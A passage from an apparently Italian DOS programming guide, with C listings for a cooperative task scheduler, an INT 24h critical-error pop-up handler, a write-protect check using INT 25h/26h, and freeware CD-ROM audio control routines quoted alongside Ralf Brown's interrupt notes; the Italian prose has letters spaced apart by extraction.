task t0((func_ptr)task0,1024);
task t1((func_ptr)task1,1024);
task t2((func_ptr)task2,1024);
task t3((func_ptr)task3,1024);
task t4((func_ptr)task4,1024);

/* add task objects to our task_control object ready q */
tasker.add_new_task(&t0);
tasker.add_new_task(&t1);
tasker.add_new_task(&t2);
tasker.add_new_task(&t3);
tasker.add_new_task(&t4);

/* use zortech display package */
disp_open();
disp_move(0,0);
disp_eeop();

/* start tasks up and wait for them to finish */
tasker.start_tasks();

disp_move(0,0);
disp_eeop();
disp_close();
}

static unsigned long counter[]={0L,0L,0L,0L,0L};
static signal sig;

/* task 0 prints the values of the counters for the other 4 tasks. */
/* lock is used to prevent task switching while the screen is being */
/* updated. when the task is finished, block is called to transfer */
/* control to the next task on the ready q */

void task0(void)
{
while(1){
/* disable task switching */
tasker.lock();
disp_move(5,10);
disp_printf("Task 1 %lx",counter[1]);
disp_move(5,50);
disp_printf("Task 2 %lx",counter[2]);
disp_move(15,10);
disp_printf("Task 3 %lx",counter[3]);
disp_move(15,50);
disp_printf("Task 4 %lx",counter[4]);
/* if key pressed then stop the kernel and return */
if(kbhit())
tasker.stop_tasks();
/* re-enable task switching */
tasker.unlock();
/* let next task run */
tasker.block();
}
}

/* tasks 1 and 2 just update counters. these tasks will run until */
/* a timer interrupt occurs, so they get a very large chunk of time */
/* to run, so the counters increase rapidly */

void task1(void)
{
while(1){
counter[1]++;
}
}

void task2(void)
{
while(1){
counter[2]++;
}
}

/* task 3 waits for a signal from task 4 each time the counter is */
/* incremented. when a task waits, it is put on a signal q and the */
/* next task on the ready q is run. this means task 3 and 4 counters */
/* will increment very slowly. in task 4 when a signal is sent, the */
/* task signal q is checked for a task to put on the ready q. the task */
/* sending the signal is then placed on the ready q */

void task3(void)
{
while(1){
counter[3]++;
/* wait for a signal from task 4 */
tasker.wait(&sig);
}
}

void task4(void)
{
while(1){
counter[4]++;
/* send signal to task 3 */
tasker.send(&sig);
}
}



INT 24H - CRITICAL ERROR HANDLER


Quando i l si st ema oper at i vo cer ca di acceder e ad una per i f er i ca har dwar e
quest a gener a un er r or e vi ene chi amat o l i nt 24h che gener al ment e cr ea un
messaggi o del t i po :

"Disk Error, (A)bort (R)etry (F)ail"...

oppur e

"Abort, Retry, Ignore"

I l seguent e l i st at o per met t e d i nt er cet t ar e l i nt 24h.

#include <bios.h>
#include <dos.h>
#include <stdio.h>

#define CRIT_ERROR_HANDLER (0x24)

/** FUNCTION PROTOTYPES **/
void install_24(void);
void uninstall_24(void);
void interrupt handle_24 (unsigned bp, unsigned di, unsigned si,
unsigned ds, unsigned es, unsigned dx,
unsigned cx, unsigned bx, unsigned ax);
void fastprintz(int x, int y, int attr, char *s);
int getbioskey(void);

void interrupt (*oldvect)();
unsigned scr; /* The segment where the screen is */

/** install_24
**
** Installs the fancy interrupt handler.
**/

void install_24(void)
{
oldvect = getvect(CRIT_ERROR_HANDLER); /* save old handler */
setvect(CRIT_ERROR_HANDLER, handle_24); /* and install ours */

/* Find out if the screen is at 0xB000 or 0xB800 */
_AH = 0x0F;
geninterrupt (0x10);
if (_AL == 7)
scr = 0xB000;
else
scr = 0xB800;
}


void uninstall_24(void)
{
/* Restore old handler */
setvect(CRIT_ERROR_HANDLER, oldvect);
}

static char screen_buf[9][52]; /* room for the saved part of screen */

void interrupt handle_24 (unsigned bp, unsigned di, unsigned si,
unsigned ds, unsigned es, unsigned dx,
unsigned cx, unsigned bx, unsigned ax)
{

int err,key,ret=-1;
int r,c,start;

err = di & 0x00FF; /* Error message, from DOS. */

/* Save section of screen that will be overwritten */
for (r=8; r<17; r++) {
start = (160 * r + 54);
for (c=0; c<26; c++) {
screen_buf[r-8][c*2] = peekb(scr, start++);
screen_buf[r-8][c*2+1] = peekb(scr, start++);
}
}

/* Pop up error message */
fastprintz( 8,27,0x07,"");
fastprintz( 9,27,0x07,"Error! ");
fastprintz(10,27,0x07," ");

/* Common diagnosable problems */
switch(err) {
case 0x00:
fastprintz(11,27,0x07,"Disk is write protected."); break;
case 0x02:
fastprintz(11,27,0x07,"Disk drive is not ready."); break;
default:
fastprintz(11,17,0x07,"Disk error. "); break;
}

fastprintz(12,27,0x07," ");
fastprintz(13,27,0x07," Try again ");
fastprintz(13,29,0x0f,"T");
fastprintz(14,27,0x07," Exit this program ");
fastprintz(14,29,0x0f,"E");

/* In DOS 3.00 and later, they can also fail the disk access */
if (_osmajor > 2) {
fastprintz(15,27,0x07," Cancel this operation ");
fastprintz(15,29,0x0f,"C");
}
else
fastprintz(15,27,0x07," ");

fastprintz(16,27,0x07,"");

/* Call BIOS to get a single keystroke from the user */
do {
key=getbioskey();

if (key & 0x00FF)
key &= 0x00FF;

switch(key) {
case 't': case 'T': ret = 0x0001; break;
case 'e': case 'E': ret = 0x0002; break;
case 'c': case 'C': if (_osmajor > 2) ret = 0x0003; break;
default: break;
}

} while (ret < 0);

/* Restore that section of the screen */
for (r=8; r<17; r++) {
start = (160*r + 54);
for (c=0; c<26; c++) {
pokeb(scr, start++, screen_buf[r-8][c*2]);
pokeb(scr, start++, screen_buf[r-8][c*2+1]);
}
}

ax = ret;
/* And please don't tell me I didn't use any of those parameters. */
#pragma warn -par
}
#pragma warn .par


/* fastprintz - shove an asciz string onto the screen */
void
fastprintz(int y, int x, int attr, char *s)
{
int i=0,base;

base = (80*y+x)<<1; /* determine offset into screen */
while (s[i]!=0) {
pokeb(scr, base++, s[i++]);
pokeb(scr, base++, attr);
}
}

/** getbioskey
**
** get one key from the BIOS
**
** Like TC bioskey(0), but doesn't nab control Break. It seems
** that the TC bioskey was trying to block Ctrl-Breaks, which
** it did by changing the Ctrl-Break handler, which it called
** DOS to do. This made the interrupt handler reenter DOS which
** is illegal.
**/

int getbioskey(void)
{
union REGS regs;
struct SREGS segregs;

segread(&segregs);
regs.h.ah = 0;
int86x (0x16, &regs, &regs, &segregs);
return regs.x.ax;
}

INT 25H e 26H ABSOLUTE READ AND WRITE


I l seguent e pr ogr ammi no usa gl i i nt 25h e 26h per veder e se i l dr i ve A
ut i l i zzabi l e e se non pr ot et t o i n scr i t t ur a.

/********************************************************************
* WR_PROT.C
*
* Check to see if a drive is write protected
*
* Uses the DOS Interupts 25H and 26H to do an absolute
* read, then write of logical sector 0 of the drive.
*
* resultant ERRORLEVELs:
* 2 : error accessing drive
* 1 : write protected
* 0 : writable
*/
#include <dos.h>
char buffer[2048];

int main()
{
union REGS inregs, outregs;
struct SREGS segregs;
char far *bufferp;

inregs.h.al = 0; /* drive number 0,1 = a,b: 128,129=c,d */
inregs.x.cx = 1; /* sectors to read */
inregs.x.dx = 0; /* starting sector number */
bufferp = buffer;
inregs.x.bx = FP_OFF(bufferp);
segregs.ds = FP_SEG(bufferp);

int86x(0x25, &inregs, &outregs, &segregs);
if (outregs.x.cflag == 1) {
printf("error reading drive A\n");
return 2;
}

int86x(0x26, &inregs, &outregs, &segregs);
if (outregs.x.cflag == 1) {
printf("error writing drive A\n");
return 1;
}

return 0;
}


INTERRUPT DI MULTIPLEXING E FUNZIONI LEGATE AL CD


I l seguent e pr ogr amma t r a i l f r eewar e sof t war e ed una r accol t a di r out i ne
l egat e al l a gest i one del cd.
Sono ut i l i i n mol t i casi i n quant o sono i n gr ado di l egger e anche l a l unghezza
del l e t r acci e dei cd musi cal i .
Le spi egazi oni del l e f unzi oni sono nel l e r i ghe di REM del pr ogr amma.

/* CDROM AUDIO ROUTINES
By Barry Egerter

Written July 18, 1994

Using Borland C++ 3.1

Code : FREEWARE - alter and use at will.


Internet Email: barry.egerter@softnet.com
*/
#include <dos.h>
#include <io.h>
#include <mem.h>
#include <fcntl.h>

#define CDROM 0x21
#define EJECT_TRAY 0
#define RESET 2
#define CLOSE_TRAY 5
#define MEDIA_CHANGE 9
#define BUSY 512
#define TRACK_MASK 208

typedef struct playinfo {
unsigned char control;
unsigned char adr;
unsigned char track;
unsigned char index;
unsigned char min;
unsigned char sec;
unsigned char frame;
unsigned char zero;
unsigned char amin;
unsigned char asec;
unsigned char aframe;
};


typedef struct volumeinfo {
unsigned char mode;
unsigned char input0;
unsigned char volume0;
unsigned char input1;
unsigned char volume1;
unsigned char input2;
unsigned char volume2;
unsigned char input3;
unsigned char volume3;
};


struct {
unsigned short drives;
unsigned char first_drive;
unsigned short current_track;
unsigned long track_position;
unsigned char track_type;
unsigned char low_audio;
unsigned char high_audio;
unsigned char disk_length_min;
unsigned char disk_length_sec;
unsigned char disk_length_frames;
unsigned long endofdisk;
unsigned char upc[7];
unsigned char diskid[6];
unsigned long status;
unsigned short error; /* See description below */
} cdrom_data;

/* CDROM_DATA.ERROR Description

Bit 15 - Error bit
Bit 14-10 - Reserved
Bit 9 - Busy
Bit 8 - Done
Bit 7-0 - Error code (bit 15 on)

Error codes are the following:

0 Write-protect violation
1 Unknown unit
2 Drive not ready
3 Unknown command
4 CRC error
5 Bad drive request structure length
6 Seek error
7 Unknown media
8 Sector not found
9 Printer out of paper
A Write fault
B Read fault
C General failure
D Reserved
E Reserved
F Invalid disk change
*/


/* Multiplex Interrupt routines
"borrowed" from Ralf Brown's MSDOS Interrupt List v4.1

INT 21 - CD-ROM device driver - IOCTL INPUT
AX = 4402h
BX = file handle referencing character device for CD-ROM driver
CX = number of bytes to read
DS:DX -> control block (see #0563)
Return: CF clear if successful
AX = number of bytes actually read
CF set on error
AX = error code (01h,05h,06h,0Dh) (see #0770 at AH=59h)
Note: the data returned depends on the first byte of the control block; the
remainder of the control block is filled by the driver
SeeAlso: AX=4403h"CD-ROM",INT 2F/AX=0802h

(Table 0562)
Values for CD-ROM data being requested:
00h device driver header address
01h drive head location
02h reserved
03h error statistics
04h audio channel info
05h raw drive bytes (uninterpreted and device-specific)
06h device status
07h sector size
08h volume size
09h media change status
0Ah audio disk info
0Bh audio track info
0Ch audio Q-Channel info
0Dh audio sub-channel info
0Eh UPC code

Format of CD-ROM control block:
Offset Size Description (Table 0563)
00h BYTE data being requested (see #0562)
---function 00h---
01h DWORD device driver header address (see also AH=52h)
---function 01h---
01h BYTE addressing mode
00h HSG
01h Red Book
02h DWORD current location of drive's head
logical sector number in HSG mode
frame/second/minute/unused in Red Book mode
(HSG sector = minute * 4500 + second * 75 + frame - 150)
---function 03h---
01h N BYTEs undefined as of 5 Aug 88 specification
---function 04h---
01h BYTE input channel (0-3) for output channel 0
02h BYTE volume for output channel 0
03h BYTE input channel (0-3) for output channel 1
04h BYTE volume for output channel 1
05h BYTE input channel (0-3) for output channel 2
06h BYTE volume for output channel 2
07h BYTE input channel (0-3) for output channel 3
08h BYTE volume for output channel 3
Notes: output channels 0 and 1 are left and right, 2 and 3 are left prime
and
right prime; a volume of 00h is off
the default setting is for each input channel to be assigned to the
same-numbered output channel at full (FFh) volume
---function 05h---
01h BYTE number of bytes read
02h 128 BYTEs buffer for drive bytes
---function 06h---
01h DWORD device parameters (see #0564)
---function 07h---
01h BYTE read mode
00h cooked
01h raw
02h WORD sector size in bytes
---function 08h---
01h DWORD volume size in sectors
---function 09h---
01h BYTE media change status
00h don't know
01h media unchanged
FFh media has been changed
---function 0Ah---
01h BYTE lowest audio track number
02h BYTE highest audio track number
03h DWORD start address of lead-out track (Red Book format)
--function 0Bh---
01h BYTE track number (set by caller)
02h DWORD starting point of track (Red Book format)
06h BYTE track control info
bits 15,14,12: track type (notice: bits not contiguous!)
000 two audio channels, no pre-emphasis
001 two audio channels with pre-emphasis
010 data track
100 four audio channels, no pre-emphasis
101 four audio channels with pre-emphasis
other reserved
bit 13: digital copy permitted
---function 0Ch---
01h BYTE CONTROL and ADR byte (as received from drive)
02h BYTE track number
03h BYTE point or index
04h BYTE minute \
05h BYTE second > running time within track
06h BYTE frame /
07h BYTE zero
08h BYTE "AMIN" or "PMIN" \
09h BYTE "ASEC" or "PSEC" > running time on disk
0Ah BYTE "AFRAME" or "PFRAME" /
---function 0Dh---
01h DWORD starting frame address (Red Book format)
05h DWORD transfer address
09h DWORD number of sectors to read
Note: copies 96 bytes of sub-channel info per sector into buffer
---function 0Eh---
01h BYTE CONTROL and ADR byte
02h 7 BYTEs UPC/EAN code (13 BCD digits,low-order nybble of last byte is
0)
09h BYTE zero
0Ah BYTE "AFRAME"

Bitfields for CD-ROM device parameters:
Bit(s) Description (Table 0564)
0 door open
1 door unlocked
2 supports raw reading in addition to cooked
3 writable
4 can play audio/video tracks
5 supports interleaving
6 reserved
7 supports prefetch requests
8 supports audio channel control
9 supports Red Book addressing in addition to HSG
10 audio is playing
*/

static union REGS inregs, outregs;
static struct SREGS sregs;


void device_request (void *block)
{
inregs.x.ax = 0x1510;
inregs.x.cx = cdrom_data.first_drive;
inregs.x.bx = FP_OFF (block);
sregs.es = FP_SEG (block);
int86x (0x2f, &inregs, &outregs, &sregs);
}


void red_book (unsigned long value, unsigned char *min, unsigned char *sec,
unsigned char *frame)
{
*frame = value & 0x000000ff;
*sec = (value & 0x0000ff00) >> 8;
*min = (value & 0x00ff0000) >> 16;
}


unsigned long hsg (unsigned long value)
{
unsigned char min, sec, frame;

red_book (value, &min, &sec, &frame);
value = (unsigned long)min * 4500;
value += (short)sec * 75;
value += frame - 150;
return value;
}


unsigned long cd_head_position (void)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned short sector;
unsigned long volid;
unsigned char unused[4];
} tray_request;

struct {
unsigned char mode;
unsigned char adr_mode;
unsigned long address;
} head_data;

tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 3;
tray_request.media = tray_request.sector = tray_request.volid = 0;
tray_request.address = (unsigned long)&head_data;
tray_request.bytes = 6;
head_data.mode = 0x01;
head_data.adr_mode = 0x00;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
return head_data.address;
}


void cd_get_volume (struct volumeinfo *vol)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned short sector;
unsigned long volid;
} tray_request;

tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 3;
tray_request.media = 0;
tray_request.media = tray_request.sector = tray_request.volid = 0;
tray_request.address = (unsigned long)vol;
tray_request.bytes = 9;
vol->mode = 0x04;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
}


void cd_set_volume (struct volumeinfo *vol)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned char unused[4];
} cd_request;

vol->mode = 3;
cd_request.length = sizeof (cd_request);
cd_request.subunit = 0;
cd_request.comcode = 12;
cd_request.media = 0;
cd_request.address = (unsigned long)vol;
cd_request.bytes = 9;
device_request (&cd_request);
cdrom_data.error = cd_request.status;
}


short cd_getupc (void)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned short sector;
unsigned long volid;
} tray_request;

struct {
unsigned char mode;
unsigned char adr;
unsigned char upc[7];
unsigned char zero;
unsigned char aframe;
} upc_data;
tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 3;
tray_request.media = 0;
tray_request.media = tray_request.sector = tray_request.volid = 0;
tray_request.address = (unsigned long)&upc_data;
tray_request.bytes = 11;
upc_data.mode = 0x0e;
upc_data.adr = 2;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
if (upc_data.adr == 0)
memset (&upc_data.upc, 0, 7);
memcpy (&cdrom_data.upc[0], &upc_data.upc[0], 7);
return 1;
}


void cd_get_audio_info (void)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
long address;
short bytes;
short sector;
long volid;
} ioctli;

struct {
unsigned char mode;
unsigned char lowest;
unsigned char highest;
unsigned long address;
} track_data;

ioctli.length = sizeof (ioctli);
ioctli.subunit = 0;
ioctli.comcode = 3;
ioctli.media = 0;
ioctli.sector = 0;
ioctli.volid = 0;
ioctli.address = (long)&track_data;
ioctli.bytes = sizeof (track_data);
track_data.mode = 0x0a;
device_request (&ioctli);
memcpy (&cdrom_data.diskid, &track_data.lowest, 6);
cdrom_data.low_audio = track_data.lowest;
cdrom_data.high_audio = track_data.highest;
red_book (track_data.address, &cdrom_data.disk_length_min,
&cdrom_data.disk_length_sec, &cdrom_data.disk_length_frames);
cdrom_data.endofdisk = hsg (track_data.address);
cdrom_data.error = ioctli.status;
}


void cd_set_track (short tracknum)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned short sector;
unsigned long volid;
} tray_request;

struct {
unsigned char mode;
unsigned char track;
unsigned long address;
unsigned char control;
} track_data;

tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 3;
tray_request.media = 0;
tray_request.media = tray_request.sector = tray_request.volid = 0;
tray_request.address = (unsigned long)&track_data;
tray_request.bytes = 7;
track_data.mode = 0x0b;
track_data.track = tracknum;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
cdrom_data.track_position = hsg (track_data.address);
cdrom_data.current_track = tracknum;
cdrom_data.track_type = track_data.control & TRACK_MASK;
}


unsigned long get_track_length (short tracknum)
{
unsigned long start, finish;
unsigned short ct;

ct = cdrom_data.current_track;
cd_set_track (tracknum);
start = cdrom_data.track_position;
if (tracknum < cdrom_data.high_audio)
{
cd_set_track (tracknum+1);
finish = cdrom_data.track_position;
}
else finish = cdrom_data.endofdisk;

cd_set_track (ct);

finish -= start;
return finish;
}


void cd_track_length (short tracknum, unsigned char *min, unsigned char *sec,
unsigned char *frame)
{
unsigned long value;

value = get_track_length (tracknum);
value += 150;
*frame = value % 75;
value -= *frame;
value /= 75;
*sec = value % 60;
value -= *sec;
value /= 60;
*min = value;
}


void cd_status (void)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned short sector;
unsigned long volid;
} tray_request;

struct {
unsigned char mode;
unsigned long status;
} cd_data;

tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 3;
tray_request.media = 0;
tray_request.media = tray_request.sector = tray_request.volid = 0;
tray_request.address = (unsigned long)&cd_data;
tray_request.bytes = 5;

cd_data.mode = 0x06;
device_request (&tray_request);
cdrom_data.status = cd_data.status;
cdrom_data.error = tray_request.status;
}


void cd_seek (unsigned long location)
{
unsigned char min, sec, frame;
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char addressmode;
unsigned long transfer;
unsigned short sectors;
unsigned long seekpos;
} play_request;

play_request.length = sizeof (play_request);
play_request.subunit = 0;
play_request.comcode = 131;
play_request.addressmode = 0;
play_request.transfer = 0;
play_request.sectors = 0;
play_request.seekpos = location;
device_request (&play_request);
cdrom_data.error = play_request.status;
}


void cd_play_audio (unsigned long begin, unsigned long end)
{
unsigned long leng;

struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char addressmode;
unsigned long start;
unsigned long playlength;
} play_request;

play_request.length = sizeof (play_request);
play_request.subunit = 0;
play_request.comcode = 132;
play_request.addressmode = 0;
play_request.start = begin;
play_request.playlength = end-begin;
device_request (&play_request);
cdrom_data.error = play_request.status;
}


void cd_stop_audio (void)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
} stop_request;

stop_request.length = sizeof (stop_request);
stop_request.subunit = 0;
stop_request.comcode = 133;
device_request (&stop_request);
cdrom_data.error = stop_request.status;
}


void cd_resume_audio (void)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
} stop_request;

stop_request.length = sizeof (stop_request);
stop_request.subunit = 0;
stop_request.comcode = 136;
device_request (&stop_request);
cdrom_data.error = stop_request.status;
}


void cd_cmd (unsigned char mode)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned char unused[4];
} tray_request;

unsigned char cd_mode;

cd_mode = mode;
tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 12;
tray_request.media = 0;
tray_request.address = (unsigned long)&cd_mode;
tray_request.bytes = 1;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
}


void cd_getpos (struct playinfo *info)
{
struct {
unsigned char length;
unsigned char subunit;
unsigned char comcode;
unsigned short status;
char ununsed[8];
unsigned char media;
unsigned long address;
unsigned short bytes;
unsigned short sector;
unsigned long volid;
} tray_request;

tray_request.length = sizeof (tray_request);
tray_request.subunit = 0;
tray_request.comcode = 3;
tray_request.media = 0;
tray_request.media = tray_request.sector = tray_request.volid = 0;
tray_request.address = (unsigned long)info;
tray_request.bytes = 6;
info->control = 12;
device_request (&tray_request);
cdrom_data.error = tray_request.status;
}


short cdrom_installed (void)
{
inregs.h.ah = 0x15;
inregs.h.al = 0x00;
inregs.x.bx = 0;
int86 (0x2f, &inregs, &outregs);
if (outregs.x.bx == 0)